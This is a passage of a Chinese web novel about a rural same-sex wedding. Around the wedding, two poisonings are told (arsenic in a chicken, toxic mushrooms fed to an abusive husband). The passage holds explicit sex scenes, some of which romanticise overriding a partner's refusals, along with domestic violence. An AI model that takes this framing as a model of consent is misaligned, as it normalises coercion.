今日的任务便是给婚服绣花。 奈宁扶着腰在院子里走动,不管是坐还是走都不得劲。 萧练绣着花,时不时抬头看看别扭走路的奈宁,好笑之余,心底生出些愧疚来。 都怪他不敢乱动,只能劳夫郎辛苦了,到后面时间实在有点久,他有动腰,从一开始缓缓而来,到后面渐重渐沉,把他自己也累得够呛。 他也得有个好体魄才行,如此想着放下针线活,过去拉着奈宁:“我们出去走走吧。” 奈宁道:“出去干嘛呢?” 现在走路姿势虽好了些,但还是让他觉得尴尬别扭,生怕旁人看出来。 萧练好像看穿他心事,笑道:“没事,旁人看不出来,带上钱,走吧。” 奈宁脸颊红扑扑的,任他拉着出门。 两人在村子里闲逛,遇到有闲聊的人,萧练比奈宁还主动,拉着奈宁过去,握着奈宁的手也不松开,眉目间沉郁一扫而光,温和地与人打招呼,好像又回到了当初那个风流恣意的少年。 他想在八月初一与奈宁大婚,请大家前来喝酒席。 还会跟别人解释一句:“之前钱不够,现在存了点钱,打算补办大婚,要堂堂正正把他娶进门!” 有个胆大的好笑道:“大少爷你忘记了,是你要入赘给他呀!” 萧练也不恼,反是满脸笑容道:“哦对,忘了,都一样,那他也得给我个名分。” 大家掩着嘴偷偷笑。 之后几天一直在家里忙着绣花,做帽子鞋子。 萧练没找到下手的机会,缠着奈宁问了几次,奈宁说还没消肿。 他一定要看看。 纠缠了几天奈宁终于给他看了。 两人都不懂,什么事情都没准备,他直接坐下去了。 奈宁小声抱怨道:“太大了。” 萧练不敢说话,低着头帮他揉揉,又拿来药膏要帮他上药。 奈宁羞得合拢双腿:“不!” 萧练大手放在他膝盖上,眼眸暗沉,眼底暗流汹涌,喉结滚动了下,低声哄道:“不一定要掰开给我看。” 他伸出二指:“这样便行。” 奈宁尴尬得脚趾直抓,浑身一颤,一路烧到脖子耳根。 萧练又凑近了些,声音柔柔道:“好嘛?” 连哄带骗,又用了点力气把半推半就的人拽到怀里,奈宁坐在他双腿上,他真不看,就跟奈宁面对面,双指沾了药往下摸去时,嘴角的笑容越来越大,竭力压制住,轻咳一声道:“里面也抹一下吧。” 奈宁羞窘的推拒,遇到他软绵绵的哄劝:“别躲别躲嘛。” 俊美的脸蛋贴过来,轻轻磨蹭着别人的嘴角耳根脖颈。 加上那铁笼般的力道,所有推拒都无济于事。 药微凉融化在男人指尖,随着药物融化,奈宁抑制不住哼出声来,立刻咬住了唇,脸颊红得像成熟的樱桃。 药上完了,两人都喘着粗气。 大少爷俊俏的脸颊白里透粉,漂亮的眼睛迷离,嫣红的唇微张,胸膛起伏不停。 好看得叫人想要犯罪,奈宁却狠狠一口咬在他作恶的手腕上,没什么力道,就留了一圈浅浅牙印子,就累得趴倒在床上。 萧练很快贴上去,宽阔的胸膛牢牢贴着他后背,大手轻轻磨蹭着他的肚子,低声说:“我不乱动。” 奈宁哭笑不得。 大少爷体贴入微,一日早中晚三次帮他上药,还想再多上点,奈宁不许了。 从一根手指到两根,三根还要再…… 被奈宁一口咬在肩膀上,老老实实。 不是怕疼,而是兔子急了咬人,要安抚被欺负惨了的兔子。 如此细心照料下,终究还是好得快。 张阿婆家捉来的有一头鸡有点太瘦了,先养两天,萧练捉鸭回来炒,许是上次买了许多肉,那屠夫又挑肉来这边卖,他每次都买不少,一来二去屠夫来得更殷勤了,还会帮他带些旁的牛。 除了那处有些红肿未消,其余状态都颇佳,在家几日又长了肉又白了许多,奈宁闲不住,拉着大少爷又要上山去。 蘑菇再不摘又要长老了。 谁知一出门就遇到了谭梨花,还有她的三个好儿子。 奈宁拧了拧眉,这人不会真的想跟他上山摘蘑菇吧? 他是半点都不想帮衬奈家! 拿着萧练不知道怎么办才好,萧练目光深寒,嘴角却是勾出一抹残忍的笑,敢跟他去捡蘑菇,就不怕捡到毒蘑菇么? 整个山村的人都害怕蘑菇,觉得蘑菇有毒。 他们都要浸奈宁猪笼了,还敢如此相信自己会带他们去捡好蘑菇? 也不知这脑子是怎么想的。 谭梨花也不想跟来的,但是家里的米粮都被奈大壮跟牛二那两个发瘟抢去卖了,没得半文钱回来。 奈大壮又赌输了,喝了点马尿,一脸邋遢地回到家里,倒头就睡,惹到他半点又是打又是骂。 骂一家都是瘟神,要不是他们自己怎么会输得精光,给钱也不给爽快点,明明说些好话就会赚个大的,偏没一句好话。 喝醉了嘴里也没个停,嘀嘀咕咕地说什么买毒药的钱都没了。 什么鬼买毒药?谭梨花吓得拉着三个儿子出了门,不知道去哪里找赚钱的门生,兜兜转转就又到了这边。 这回反倒是萧练拉着奈宁了,也不去摘什么松茸,就带着他专挑颜色鲜艳的蘑菇摘。 谭梨花再傻也知道这种蘑菇不能吃。 白白走了一日。 奈宁气的要死。 萧练确实好笑道:“别怕,咱们也算是带她认了一趟毒蘑菇,说不准她以后用得着呢。” 奈宁:“……” 不过要说谁更想奈大壮先死,怕是坛梨花吧。 赌鬼无可救药,把自己身上的钱赌输就算了还回来卖谷卖米去赌。 奈宁看看曾经的后娘,再看看那几个所谓的弟弟,才又隔了几日没见,一个个穿得破破烂烂,饿得面黄肌瘦。 他在的时候,谭梨花多么得瑟,白白胖胖,在家里就一张嘴厉害,现在也不见多废话了。 奈宁跟萧练提前回家,回到半路就见张阿婆提着只鸡过来:“他们说在山里看到你们,我就想定是要从这后门回家的。我闺女回来探亲,又给我捉了只鸡,你们还买不买,这只鸡可肥!” 萧练自然买,山里卖的肉不多,天天吃猪肉也不行,不如多囤点鸡。 旁边跟着回来的谭梨花跟她三个儿子一个个眼睛都绿了,不停地吞咽口水,他们已经多久没吃过鸡了。 萧练捡了毒蘑菇不敢碰鸡,叫张阿婆帮忙送回去,要洗了手再给钱。 萧家后门有一片竹林,把他们后门的方向跟大路的方向隔开,平时一片安逸。 而此时传来小孩子大喊的声音:“小偷小偷捉小偷!” 这里若是有小偷,偷的是哪家还用想么。 奈宁顾不上大少爷,赶紧追过去,只见一道身影扑通一声从围墙上掉下来,不管疼痛一拐一拐逃进了竹林。 后门吱呀一声开了,又一个人逃了出来。 墙上摔的那是奈大壮,从后门出来的,正是牛二。 两人一人逃得比一人快,都是空身,也不知道进去做了什么。 想到家里的两头猪,一群鸡鸭,奈宁心头一紧,眼眶一酸,差点没哭出来,快步往家里跑去。 家里什么东西都没有丢,猪还好好的,看到人还哼哧哼哧过来讨吃的。 独有一只鸡,倒在地上,撑着脖子瞪着腿,眼睛瞪得溜圆,眼看就要没气了。 正是在张阿婆家买的鸡。 第54章 第 54 章 婚前 先前在镇上遇到奈宁卖蘑菇那日, 奈大壮跟萧得金讨了钱,很快又输光了,跟牛二寻思怎么赚钱。 想半天光是异想天开去, 最后又找萧得金讨钱, 说要买砒霜。 萧得金骂了半日,踹了几脚, 给了五十文。 结果他们转身又进了赌坊, 输得干干净净。 买砒霜的钱没了,翻本的钱没有,吃饭的钱更没有。 在外面捡了几日垃圾吃, 围在旁边看别人赌,看得眼红受不了要入魔杖的时候终于回家, 看家里的谷晒干了, 赶紧搬出去卖。 比下山抢劫的土匪还狠, 一开始还留两包, 但隔段时间又搬两包出去, 没两日就搬完了,半点谷都不给家里留。 到米缸都没米的时候,只知道骂家里婆娘不中用。 谭梨花出去后也不知道奈大壮睡了多久, 牛二又摸过来了,笑嘻嘻地说搞到砒霜了, 拍着胸膛说:“保管是砒霜, 我看到主人家用来毒老鼠了,还舔了指头尝了一口,那味道不是人吃的,就尝一点点,肚子立刻就痛起来了。” 奈大壮很瞧不起地啧了声, 这牛二为何没有人与之打交道呢,除了又饭又赌之外,还是梁上君子。 奈大壮心里其实很瞧不起这种人的,但是很无奈,现在也只有这种人能帮自己干事,心里梦想着等把这一票干完了就戒赌,再也不碰这些有的没的。 嫌弃归嫌弃,牛二偷来的包子馒头他没一口少吃,狼吞虎咽吃完了才想起:“你刚才拿了砒霜不会又摸了这些食物吧?” 这种明知是砒霜还要舔指头去尝的人,真是神人。 两人吃完之后精神抖擞的去萧家,院墙高耸只能带梯子来爬上去。 要落毒的时候争论了大半天。 奈大壮说:“你是不是傻的?肯定是毒在这绑着的这只鸡,他们从张家买的,他们回来发现这只鸡死了,一定是要吃的,其它的肯定不要弄死呀,等他们死了这些都是咱们的,你胡乱下毒,到时谁知道他们在哪里掺了毒,咱们吃了不也死翘翘了!” 毒药刚塞进鸡嘴里,就听到有小孩叫了,奈大壮赶紧顺着猪圈爬出去,梯子不知道什么时候被放倒了,扭头一看,他瞧不起的牛二跑去开门,他挂在墙头上不来下不去,听到一阵杂乱的脚步声,顾不上许多,直接从上面跳下来。 跑回了家奈大壮才觉得浑身都疼,躺在床上哼哼个不停,骂儿子,骂婆娘,骂遍祖宗十八代,总之没一个让他如意的。 而萧家这边三个人看着那只即将死去的鸡,不知如何是好。 还是张阿婆先开了口:“这只鸡不能吃了,你们打算怎么办?” 萧练看了看奈宁,后者眼眶红红的,抽了抽鼻子。 萧练握紧了拐杖,咬紧牙关,想去寻人算账,谁知张阿婆说:“此事不宜声张,这只鸡还是给我帮你们埋了吧。” 萧练看张阿婆一脸狠色,突然想到什么,点了点头:“好,那麻烦张阿婆了。” 张阿婆把手里的鸡给了他们,拿了死鸡,放进篮子里,拿东西盖了盖,钱也不要了,转身就走。 回去之后她就把鸡脖子用柴刀给抹了脖子,捆着鸡脚鸡翅,丢在院子里,跟儿媳妇说了声,把两个娃娃都关在屋子里,哄着上床睡觉,静待有缘人。 陈瘪三早就看到张阿婆闺女回来送了只鸡,心里痒痒,偷偷一听屋里面什么声音都没有,觉得机会来了,翻墙进去偷了鸡,一看鸡脖子都帮抹好了,喜不自禁,幸好来得及时,再晚来一点估计就要被他们家吃了。 回去水都没来得及烧,迫不及待把鸡毛烧了,剁了肉囫囵炒着吃,饿死鬼投胎那般,生怕有人半路过来抢了他的鸡吃。 奈宁在家里还难过着,第二天一早突然听到陈瘪三死了的消息,说他在家里躺着躺着,突然七窍流血而死。 陈瘪三他老娘哭天喊地,愣是找不着半点死因,就赖到张家说都是因为吃了他们家的鸡,可是到陈家半鸡毛都找不着。 而且偷人家鸡还有理了,挑粪从她家过的村民都要站在门口骂一顿。 萧练没管这些,将十两银锭剪了二两出来,在村子里买了一头猪,买鸡与鸭,说过两天八月初一就要办喜事,请大家来吃喝。 奈大壮在家里躺了一觉醒来,以为能听到好消息,结果听到陈瘪三好像吃鸡死了,陈婆子正在四处发疯,连忙将砒霜藏了起来,要是被他知道,砒霜是自己下的,估计全村人都要撕了自己。 他在家里惴惴不安,隔了两天出门,发现大家都提着鸡鸭往萧家那边走,站在人家屋脚底下偷听了两嘴才知道哦,原来八月初一他们要办大婚。 一想到他们有这么多钱买鸡买鸭还买猪,而自己却饿得肚子咕咕叫,越发愤愤不平,双眼都熬得红了。 扯了根藤条冲回去就往谭梨花身上抽。 谭梨花刚回娘家求得一点米,偷偷摸摸地做饭给几个小子吃,原还想幸好奈大壮不在,死在外头多好。 谁知道奈大壮冷不丁就冲进来,提着她胳膊,跳起来就抽,没一会整个人都站不起来。 几个小子被吓得懵了,或发呆或哇哇哭。 大的那个冲过去,对他爹又踢又咬:“放开我娘,放开我娘!” 被怒气上头的奈大壮一脚踹中腹部。 谭梨花几个儿子年纪小,连奈宁都打不过,更何况是一个人高马大的男人。 一脚就飞出老远,哇一声吐出一口血来。 谭梨花眼睛立刻红了,也不知道哪里来的一股子勇气,大喊着我的儿,扯着奈大壮的头发就撕。 奈大壮踢到儿子吐血都没见迟疑的,反手扯着谭梨花的头发,又扇了两巴掌,扇得她耳朵嗡嗡直鸣,倒在地上,再也爬不起来。 奈大壮瞥了一眼歪在地上的儿子,冷声道:“不禁爹娘的东西要来做什么?去死吧!” 说着冲他啐了一口。 谭梨花摇摇晃晃,冲过去抱着大儿子撕心裂肺地哭。 以前奈大壮看着她作贱前一个留下来的儿子,还以为是疼她,原来是见个儿子都不在乎! 涛天的恨意在他胸膛里翻涌,突然笑了声,拿出了高高挂在房梁上的那小半篓蘑菇。 她一直叮咛儿子们不要乱吃这些蘑菇,也不知道为什么自己没有扔掉,而是藏了起来。 现在她目标清晰了。 这边萧家院子好不热闹,明日就是他们大婚之日,不过现在就要开始准备了。 大家一起过来帮忙布置婚宴。 经验老道的婆子阿婶进来一看,婚服乌纱帽团扇鞋子,啥都准备得妥妥当当,就是房间里没一床大红喜被。 大家说这怎么行呢? 赶紧要派人下山去买,不光要买一床大红喜被,还要买旁的东西,红蜡烛对联之类的。 桂芬婶道:“哎呀,想不起来了,看到什么要用的,你们就买什么。” 萧练道:“我自己会写对联。” 桂芳婶一拍脑子:“哦哦瞧我这记性。” 萧练又剪了二两银子出来,让他们挑贵的买,不必省着花。 大家都笑乐了:“哪里用得着这么多钱?” 他们家原本锅碗瓢盘都很多,上次卖了不少,现在办喜宴要去借了。 乡下都如此,还有专门租赁锅碗瓢盆的呢。 院子里一片繁华热闹,大人们在洗菜处理肉,小孩子跑来跑去。 奈宁有些拘谨,明日就是他跟大少爷的大婚之日,按村里习俗,他们不该见面的,但他们就住在同一个屋檐下。 一抬头大少爷不是在看着自己,就是在看着自己的路上。 总是感觉有好多目光随着大少爷的目光看过来,奈宁满脸羞窘,往后院走了。 后院安静许多,有鸡有鸭,还有他们的菜地,猪圈里两头小猪。 奈宁摘了些菜,喂鸡往地上一撒,它们四处跑着啄来吃。 往猪圈丢一些,两头猪也是哼哧哼哧的。 种出来的菜还是比外面的草好吃,奈宁还想种些番薯藤来喂猪,但现在都八月了,再过两个月霜能将番薯藤给冻死,但番薯藤至少要三个月才能长出番薯吧。 七月份种是最好的,现在种太晚了,若是只要番薯藤不要番薯,那就另讲。 奈宁想了想,就去找秀红婶,跟她说要买点番薯藤来种。 种番薯藤肯定要比种番薯芽长得快,秀红婶笑道:“给什么钱,直接去田里摘就是了。” 奈宁经常干活,那个田是谁家的他也认得,背着背篓直接就去了。 萧练忙拿了两个斗笠,拄着拐跟着出去。 大家笑着打趣说,新夫郎就是勤快,闲不住。 奈宁脸蛋烧得通红,走出好长一段路,脸还是烫着。 一个斗笠扣在他脑门上,偏过脸来是气息不稳的大少爷。 萧练道:“跑这么快做什么,斗笠都忘了拿,太阳还这么大!” 奈宁抿着唇,心尖轻轻颤动,暖洋洋的,他听到了大少爷的脚步声,知道大少爷在追着自己,知道自己会有斗笠的。 萧练之前出过田,但在田里劳作还是第一次。 秀红婶田里的番薯长得郁郁葱葱的,田里面有点泥泞。 奈宁落田萧练也要跟着去,只能提醒道:“小心滑。” 萧练还没卷好裤脚,一抬头,奈宁就已经将番薯藤摘好出田了。 “这么快?” “摘菜,我不是教过你了么?” 不用洗,回去直接栽种,一个分支就是一根种。 种的时候要先在坑里撒一把灰,把藤放下去,埋上土,再浇一瓢水。 种的不多,就浅浅的一垄地,还是菜没长大就拔来吃完的地。 给两只小猪尝个鲜,等来年开拓荒地再多种一些,反正现在猪小,吃不了多少猪食。 忙完回去,那边开饭了。 大叔大婶们扯着嗓子喊:“开饭了,开饭了!” 小孩子蹦蹦跳跳的去呼朋唤友过来吃饭。 不是正席,大家围坐一团吃,一个桌子所有的空隙都围着满满当当的。 奈宁看一眼家里,多了很多红红绿绿的东西。 婶子们布碗筷,大叔们上菜。 大宝叔说:“秀才公一会吃了,咱们把对联写了,先贴上去。” 萧练道:“好。” 这个是旧宅子,新婚对联两三副就行。 大门口一副,堂屋一副,侧门一副,婚房可贴可不贴,一般不贴对联,就贴一方红纸,不知道是啥,反正不是对联。 可以在上面提字,一般都是四个字,比如新婚大吉,又或者早生贵子。 外面贴的对联,说什么佳偶天成,奈宁听不懂,但这种新婚大吉,早生贵子,他懂了,念一遍,脸颊又烧一烧。 才刚成亲就要早生贵子吗? 这种带字的红纸贴在门框上,每过一次门框,就得一次如此祝福。 连灶房也要贴,什么添丁发财。 除了门口两个对联是萧练自己想的之外,其余都是大叔大婶们要他写的。 添丁发财就添丁发财,他提笔往上面写。 不知道谁一拍大掌:“不对,人家是秀才公要高中状元不就是要添丁发!” “你懂什么就乱说,现在添丁发是现在的事,高中状元是几年后的事 !” 一群人在那里说是啊是啊。 对联贴完了,新到的大红喜被赶紧洗了晾上,明日吉时之前铺上就好。 这房子正式有了新婚之房的样子。 大家坐着嗑瓜子闲聊,看萧练语气变得和善话也多了,有个大胆的婶子问:“你的腿,不去看看啊?” 萧练眼眸垂了下来,奈宁一下子拉住他的手,怕他要难过。 不过没多久,他眼睫又抬起来笑道:“看过了,暂时没找到好郎中。” “是呀,我就说你在县城肯定看过的,多看几个,说不定就能治好呢,是吧,我家铁子之前一直流鼻血,都不知道怎么回事,跑了所有的医馆吃了不知多少药都没用,后面都麻木了,直到在一个村郎中那里,才吃一副药就治好了!” 萧练看了婶子一眼,又看了一眼甚至怀里的铁子,一个五六岁的男娃,脸色红润活泼好动。 没说婶子家的铁子指不定就是药吃太多伤了身体,这才鼻血流个不停。 后来麻木了,药吃少了,身体自然而然好了。 奈宁听到有神医就来了精神:“哪条村子的,我们要不要去看看?” 萧练温和笑道:“都听你的。” 转眼入夜。 伤都已经好了,萧练指尖抹了药,一定要再给奈宁上一次药。 贴在奈宁耳边低声说:“还是再检查一次,以免误了明晚正事。” 第55章 第 55 章 早些睡 里面有没有事他自己不知道么, 每天都摸。 奈宁脸颊烫的厉害,脑袋埋到他肩膀上,男人手上力道用得大一些, 他就咬住了他肩上的衣料, 一套动作下来,奈宁气息不匀, 歪在床上。 萧练偏头看了眼自己肩膀, 上面潮湿一片,嘴角露出一点笑容。 早晨奈宁沐浴更衣完,乖乖坐在梳妆桌前, 让婶子们给自己装扮。 满脸羞涩之时,听到一个让人震惊的消息。 奈大壮死了! 昨日奈家炒了一碟蘑菇, 奈大壮吃得最多, 过了一夜就死掉了。 奈宁想过很多次奈大壮死, 自己是什么表情。 现在发现, 什么表情都没有, 心里隐隐有些痛快。 说话的婶子看奈宁没有伤心,这才继续往下说:“你们知道谭梨花说啥吗?她说谁知道那些蘑菇有毒呢,都是奈大壮叫她到山上去摘的, 还说什么……” 停顿片刻,看了奈宁一眼:“她说奈大壮看到你到山上摘蘑菇赚钱了, 觉得自己也能赚, 硬是要她炒来吃,一家子都不敢吃,就他自己敢吃!” 以前村子里有户人家口口声声说有一种鹅膏菌能吃,说好吃,价钱又好卖, 一家老小都吃,后来怎么地,一家老小就吃那种蘑菇吃死掉了。 从那以后村子里的人更加不敢摘蘑菇,看到蘑菇就跟有毒这两个字连起来。 奈宁说了声哦,之前他们跟自己去摘蘑菇的事,肯定很多人都看到了,便又解释了声:“上次他们偷偷跟着我们上山摘蘑菇,我们遇到不熟悉的蘑菇都要挑三挑四,他们就敢直接吃了。” “我小时候没得吃,才到山上摘蘑菇吃,都是命贱上天才没带走。” 一句话大家都不敢乱吱声。 是呀,但凡有点吃的,谁会上山捡蘑菇。 大喜之日呢,讨论这些不吉利,有个婶子了呸了几声:“大喜之日乱说什么死啊活啊的,今天要高高兴兴的!” 旁边房间,萧练穿戴整齐了,就等吉时夫郎来迎自己。 萧练第一次看到梳妆完毕的夫郎,有些移不开眼睛。 奈宁手持团扇款款出来。 一个大叔学着镇上大户人家,高声唱道:“一拜天地。” 萧练怔怔地都不知道自己在哪里,跟着奈宁转来转去,看奈宁弯腰了,他也不知道弯腰。 奈宁掩着唇偷偷笑。 旁边阿叔阿婶急得都恨不得亲自上去替他了。 连小孩都知道一拜高堂是怎么回事,他不知道。 旁边的男女童子已经跟着学了。 奈宁扯了扯他衣袖,他才反应过来。 拜完高堂之后夫妻对拜,与新夫郎面对面,萧练嘴角忍不住咧起来。 深深鞠了三个弓,他身量颀长,却弯得比奈宁还要更低一些。 旁边人都拍手称好,高声喝彩。 奈宁脸颊发烫,用团扇挡着脸。 三拜之后送入洞房,奈宁的手先伸了出来,萧练愣了愣,呆呆看着他的手,把自己手放上去,心脏砰砰乱跳。 他珍而重之牵着夫郎的手,一步一顿,缓缓走向洞房。 大家围在门口看,这边入洞房要发喜糖,一时不知道谁应该在洞房里呆着发喜糖。 小孩子凑到奈宁身边讨喜糖吃,眼睛呆呆的看着奈宁舍不得移开。 奈宁不是没见过抹了胭脂水粉的自己,只觉得怪别扭的,脸蛋涂得煞白,眉毛描过,唇抹得红红的。 让他觉得不像自己。 大家在新婚房里吃着喜糖聊着天,外面有大叔喊:“开席啦。” 一群婶子忙出去布席,离开前跟奈宁说:“你们都不用出去,待会给你们送饭进来吃。” 原本是要跟亲人吃一桌的,这不是没亲人了吗。 就让他们小两口一起呆房里吃吧。 奈宁巴不得如此,不然说他夫君入赘,那他就是主人家,他得出去跟大家一起吃饭,多羞涩。 等饭菜端进来,留在房里的小孩也出去了,临出门前眼睛还是依依不舍的往这边看。 奈宁能听到他们说新夫郎好漂亮。 羞得无地自容。 送菜的大婶也走了出去,奈宁长长松了一口气,一扭头萧练看着他在傻笑。 奈宁有些受不住他的目光,偏过脸去:“今日早上不是见过吗,一直看着做什么?” 萧练摇头道:“不同,现在特别好看。” 穿了宽袍的红色衣裳,精心打扮过的装扮,自然比往日好看太多。 又黑又瘦,五官不打眼,稍稍一打半,精致的五官凸显出来,直叫人移不开眼。 奈宁没说话,摸起了筷子,心中暖暖的,好像什么融化了,低声说:“快来吃饭吧。” 外面的阿叔阿婶吃完了饭,热热闹闹收拾台面,也不让小孩去打扰人家小两口了,自行把借的东西归还了去。 出门的时候,早上帮奈宁梳妆打扮的绳子忍不住说了:“豆花她娘,早上你怎么跟他说那种话,奈大壮死了关他什么事?奈大壮死了谭梨花眼角都没见一滴泪的,人家奈宁都分出去了,他死不死的,关人家什么事?” 豆花她娘话没经脑子就说出来了:“我这不是想让他高兴高兴吗?” 其他婶子都倒吸了一口冷气:“哎,你这话说的,怎么说都是他生父,他怎么会笑出来呢?就当是一个路人,不管那家了,以后不需要在他家面前提那家子,特别是这种大喜日子!” 豆花她娘越想越羞得无地自容:“别说我了,我知道错了,下次不敢了,你们说我要不要登门跟他道个歉?” “哎呀,你还来!” 这边热热闹闹的办喜宴,另一头,奈大壮死了,谭梨花将人卷了铺盖,就想拖着往深山里丢。 人命关天,族长带着郎中赶过来看,看到果然是蘑菇中毒,又在他们家背篓里翻出大大小小的毒蘑菇,郎中眉头皱个不停:“怎么都是毒蘑菇,就没一个好的!” 谭梨花昨日炒蘑菇加了好多油,怕毒不死,还把奈大壮剩下的砒霜都倒了进去,加了一堆辣子,家里剩的所有大料都倒进去了。 炒得又香又辣。 早早把两三个儿子关在房里,亲眼看着奈大壮吃下去,原本她坐在旁边等着奈大壮跟她说一起吃一起死,结果这个男人半点没有往日夫妻情意,自己吃完了一桌子饭菜! 看着他在床上翻滚,口鼻流出鲜血,大声喊着救命,谭梨花只觉得痛快,整张脸笑得面目狰狞,一夜没睡,等奈大壮彻底断了气,鸡啼了,杀了人的恐慌将她笼罩,她开始害怕了,缩在门角浑身瑟瑟发抖。 一咬牙打算将奈大壮拖出去先埋了,结果今日吃不好,力气不够大,掉了下来,被出田的汉子看到了,来了一村人。 谭梨花吓得脸都白了,哆哆嗦嗦解释:“我我这不是跟着我那个好大儿捡的吗?还、还是他让我跟着捡的!” 族长气急败坏道:“这不是胡闯么!” 奈大壮以前还有个体面,现在是人憎鬼厌,族长挑了几个汉子出来,拿草席将他一盖,扛到深山里丢了。 回来所有人跨了火盘换了衣服,一个个晦气不已。 谭梨花以为这件事就只过去了,谁知道回到家,家里收了贼一样,橱柜门窗都打开,赶到堂屋,只看到牛二翘着二郎腿在那里喝白水。 看到谭梨花进来了,牛二满脸通红,没喝酒就已有了几分醉意,抖着腿说:“我我我搜过你屋,没没看见了剩的那点砒霜,刚刚翻到后院找到了你那个盆子,我我舔了一口,肚子立刻痛起来!你个毒婆娘,砒霜都都倒里面去了!” 谭梨花吓得一个激灵,又把三个儿子都赶又赶回了房,浑身发抖道:“你、你想做什么!” 牛二摇摇晃晃起来,勾着她的下巴:“天、天冷了,我、我少个暖被窝的,你、你也没有了暖床的,我们俩凑合凑合!” 奈家发生的事奈宁不知道,奈宁这辈子都没有吃的如此斯文过,几乎一颗米一颗米的往嘴里送。 萧练殷勤的给他剥虾,螃蟹肉也取了出来,放他碗里。 奈宁第一次吃了螃蟹,吃到蟹黄的时候眼睛亮了亮,再也顾不上羞涩,仍然吃得小口,但已经比之前速度快了好多。 萧练把自己的蟹也拆了,蟹黄往他盘里送,自己吃螃蟹小腿,看夫郎吃得香,他也吃得香,嘴角抑制不住露出笑来。 他就知道夫郎会喜欢,也不枉他花这么大价钱买两只大螃蟹。 来吃席的人都没有,就两个。 奈宁快吃完了,才发现萧练咬着蟹小腿一点点肉啃,红着脸夹了一块蟹黄往大少爷嘴里送。 男人立刻就控制不住亲到他嘴上。 心里痒痒的,有些压制不住,等不到晚上。 等外面声音散尽,萧练迫不及待把门关了,回来看着夫郎,嘴角时不时翘起来,不知怎么办才好,白天好漫长啊! “要不,我们先上床睡一觉?” 奈宁:“……” 真的是单单睡一觉吗? 萧练手放在唇边,虚虚打了个哈欠:“真是有些累了,今日起得太早了,夫郎你累不累?” 说着拉住了奈宁的手,往床上引。 第56章 第 56 章 大婚三日 青天白日的就要洞房了吗?奈宁心脏砰砰乱跳。 男人把他摁在床上, 坐在床边看着他出神。 奈宁不敢看他偏过脸又被他捏着下巴转了回来,唇很快被吻住。 虽然门窗都关了,但光线依然明亮。 什么东西都能看得清清楚楚。 大少爷肌肤很白, 奈宁脸蛋烫得厉害, 不敢去看,又无法避免。 萧练凑过来冲他笑道:“你之前不是喜欢……” 奈宁脸蛋要烧起来, 竖起双指堵住他的嘴:“别、别说了……” 萧练握过他的手, 亲了亲低声道:“那我、我们要不要再看会书?” 奈宁:“……不看书,你不行吗?” 这话都丢出来了,他敢说自己不行么, 一声不吭将奈宁放在床上。 这不光对奈宁是巨大的挑战,对他也是。 他比一开始熟悉多了, 知道先让夫郎高兴起来, 还用上了药, 就一点点。 等他指尖越来越潮湿时, 奈宁窝在他怀里直喘不上气。 他偏过头要去看, 被奈宁掰回脸蛋,巍巍颤颤地亲他的唇。 萧练也不着急,慢悠悠地与他亲吻着。 另一只手还有空闲, 轻轻抚摸夫郎的脸蛋,当然在此之前把夫郎的手先摁在紧要处, 低声与他说帮我。 奈宁很快受不住躺到床上。 一切丑陋狰狞在白天无所遁形。 萧练看着自己如何进去, 依然还是紧张,一分一寸慢慢地,还是顺利。 他松了一口气,不动弹,等缓过那一阵。 奈宁也不敢动, 脸蛋绯红,咬住了唇。 萧练看着他的神情痴迷,手伸过来掰开他的唇,奈宁尝到了一点不太好闻的味道,难堪地抿着唇。 男人看着他羞赧的样子低笑了声,含住了自己的手。 情之一事,一开始懵懵懂懂,如风拂柳絮,情到深处,如痴如醉,宛若狂风骤雨。 奈宁指尖抓皱了床单,被抱起时像小猫儿一样,十只手指牢牢抓着床单,铺得板板正正的大红床单被掀起。 被欺负得眼泪直流,手脚并用爬着,男人很快又从身后压下来,大手磨蹭在他纤细的腰肢,在他耳边蛊惑地喊道:“夫郎?” 将人脸蛋掰转过来,奈宁推拒着他的胸膛,颤着声音道:“不、不要了,太多了……” 男人捉着他纤细的手腕,从手肘处一直吻到掌心,手指头也一一含进嘴里,低声哄道:“夫郎,我们再看一会书吧?” 若是忽略他那低哑不像话的嗓音,真是温柔的不像样。 此刻这更像是妖魅在蛊惑人心一般。 奈宁受不住太过汹涌的情事,腿都有些麻了,抽了抽鼻子,说好。 萧练开心地亲了亲他,书本就放在旁边梳妆柜抽屉里,他舍不得出来,摸了摸奈宁小肚子:“不然我们一起去吧?” 奈宁红着脸说:“你快去快回。” “哈哈哈。”萧练爽朗地笑了两声。 等他离开,好像有什么东西留不住跟着一块走,奈宁羞耻地偏过脸。 萧练踩下床跳着去拿书,奈宁偏头看他这副模样,咬着唇又忍不住笑。 萧练跳回来,捏着他的下巴狠狠亲了亲:“这么好笑吗?” 奈宁垂着眸子瞥了它一眼,话没能说出来又先笑了,忍不住又偏过脸去。 旁人要是笑他,他定是要恨之入骨,但夫郎,却是叫他心肝都软乎,而且这视线是往哪里看呢? 把夫郎脸蛋抬起来,视线却是越来越往下,嘴角的笑容也越来越大。 萧练心痒得厉害,又进去。 两人一起翻书,萧练神情变得凝重,好像在研究什么天文,要是他不动的话,真有那么一回事。 随着动作加重,奈宁紧紧握着他的手臂,终于忍不住道:“轻点!” 男人不听,他握着他结实的手腕,狠狠咬了一口,咬得摇摇晃晃的,牙齿印一会落在这,一会落在那。 男人好像跟他刚上的一样,头顶上方传来低低的笑声,性感得叫心脏都要跟着融化。 薄薄的书,他们看了不知道多少次,翻来覆去,寥寥的动作单调无趣,却是使人沉溺其中。 奈宁累得脱力,不知不觉睡着,醒来的时候天都黑了。 张开眼睛,不知今夕何年,恍恍惚惚,原本黏糊不得劲的身上已经干爽,但依然不得劲。 房间里点着油灯,看他醒了,萧练笑道:“刚好,泡个澡吧。” 拄着拐出去提水,奈宁看着他一身大红衣裳出神,等人消失在视线里,嘴角忍不住弯起来。 扶腰下床时,那点温柔消失,干干爽爽的身体,好像又有什么东西要流出,他一低头,淅淅沥沥流了一路。 擦干净了又没擦干净。 等萧练提着热水进来,便是皱着一张苦瓜脸的夫郎。 再看到旁边的痕迹,想笑又不敢笑。 赶紧清理掉。 洗完萧练赶紧端了饭进来,吃完奈宁就睡觉了,身子侧向床里面,借着生气的名义,不给他碰,更不想动弹。 萧练像个犯错的孩子,指尖在他肩臂上走来走去。 奈宁铁了心肠,这会理一下他,吃饱了肚子可再吃得下那么多东西。 不过傍晚睡得饱足,这会那么容易睡着,男人轻轻咬着他的耳低声喊夫郎,也不说什么,也不说什么,就一声比一声柔,叫得人心尖直颤。 奈宁不知不觉就被他忽悠着掰过来了。 不知不觉就进去了,不知不觉就又哭上了。 奈宁从来没起过这么晚,肚子咕咕叫,感觉都要前腹贴后背了,起来之时却不敢立刻动弹,立刻往下看,莫名松一口气。 